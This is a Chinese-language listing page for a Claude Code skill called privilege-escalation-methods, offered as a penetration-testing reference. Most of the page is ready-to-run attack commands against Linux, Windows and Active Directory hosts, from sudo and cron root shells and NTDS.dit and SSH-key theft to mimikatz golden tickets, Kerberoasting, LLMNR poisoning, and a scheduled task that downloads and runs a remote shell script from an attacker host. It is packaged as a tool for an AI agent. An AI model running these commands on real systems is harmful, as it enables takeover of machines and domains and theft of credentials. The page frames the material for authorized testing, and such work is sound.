mcpField
P
privilege-escalation-methods

privilege-escalation-methods

github.com/zebbern安全4.7k113 次安装1 天前更新
代码仓库

关于 privilege-escalation-methods

面向渗透测试的 Linux、Windows 及 Active Directory 权限提升参考,涵盖本地与域内技术、凭据收集、前置条件和操作约束,适用于后渗透阶段。

主要功能

  1. 01Linux sudo、定时任务、能力与 NFS 技术
  2. 02Windows 服务与令牌滥用
  3. 03Active Directory 票据与凭据攻击
  4. 04凭据收集方法
  5. 05前置条件与测试约束

适用场景

  1. 01获得 Shell 后梳理 Linux 提权路径
  2. 02评估 Windows 主机及 Active Directory 环境
  3. 03在授权测试中查阅凭据收集技术

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/zebbern/claude-code-guide --skill privilege-escalation-methods

安装后在 Claude Code 中输入/privilege-escalation-methods确认已加载。

详细介绍

权限提升方法

目的

提供全面的技术,帮助在已攻陷的 Linux 和 Windows 系统上将低权限用户的权限提升至 root/管理员级别。对于渗透测试的后渗透阶段和红队行动至关重要。

输入/前提条件

  • 已获得目标系统上的初始低权限 Shell 访问权限
  • Kali Linux 或渗透测试发行版
  • 工具:Mimikatz、PowerView、PowerUpSQL、Responder、Impacket、Rubeus
  • 了解 Windows/Linux 权限模型
  • 对于 AD 攻击:拥有域用户凭据以及访问 DC 的网络权限

输出/交付成果

  • Root 或管理员 Shell 访问权限
  • 提取的凭据和哈希
  • 持久化访问机制
  • 域失陷(适用于 AD 环境)

核心技术

Linux 权限提升
1. 滥用 Sudo 二进制文件

使用 GTFOBins 技术利用配置错误的 sudo 权限:

# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash
2. 滥用计划任务(Cron)
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p
3. 滥用 Capabilities
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
4. NFS Root Squashing
# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
5. 以 Root 身份运行的 MySQL
# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

Windows 权限提升
1. 令牌冒充
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
2. 滥用服务
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
3. 滥用 SeBackupPrivilege
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
4. 滥用 SeLoadDriverPrivilege
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
5. 滥用 GPO
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

Active Directory 攻击
1. Kerberoasting
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
2. AS-REP Roasting
.\Rubeus.exe asreproast
3. Golden Ticket
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
4. Pass-the-Ticket
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket
5. 使用计划任务的 Golden Ticket
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"

凭据收集
LLMNR 投毒
# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
NTLM 中继
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
使用 VSS 转储
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

快速参考

技术操作系统是否需要域工具
滥用 Sudo 二进制文件Linux否GTFOBins
Cron 任务利用Linux否手动
滥用 CapabilityLinux否getcap
NFS no_root_squashLinux否mount
令牌冒充Windows否SweetPotato
滥用服务Windows否PowerUp
KerberoastingWindows是Rubeus/Impacket
AS-REP RoastingWindows是Rubeus
Golden TicketWindows是Mimikatz
Pass-the-TicketWindows是Rubeus
DCSyncWindows是Mimikatz
LLMNR 投毒Windows是Responder

限制条件

必须:

  • 尝试提升权限前,必须先获得初始 Shell 访问权限
  • 选择技术前,必须确认目标操作系统和环境
  • 必须根据域或本地权限提升场景使用适当的工具

不得:

  • 未经授权,不得在生产系统上尝试这些技术
  • 未经客户批准,不得留下持久化机制
  • 不得忽视检测机制(EDR、SIEM)

应该:

  • 在利用前进行彻底枚举
  • 记录所有成功的权限提升路径
  • 在行动结束后清理残留文件

示例

示例 1:从 Linux Sudo 提升至 Root
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
示例 2:Windows Kerberoasting
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

故障排除

问题解决方案
sudo -l 要求输入密码尝试其他枚举方式(SUID、cron、capabilities)
Mimikatz 被 AV 拦截使用 Invoke-Mimikatz 或 SafetyKatz
Kerberoasting 未返回哈希检查是否存在带 SPN 的服务帐户
令牌冒充失败确认是否存在 SeImpersonatePrivilege
NFS 挂载失败检查 NFS 版本兼容性(vers=2,3,4)

更多资源

如需详细的枚举脚本,请使用:

  • LinPEAS:Linux 权限提升枚举
  • WinPEAS:Windows 权限提升枚举
  • BloodHound:Active Directory 攻击路径映射
  • GTFOBins:Unix 二进制文件利用参考

评论

支持 Markdown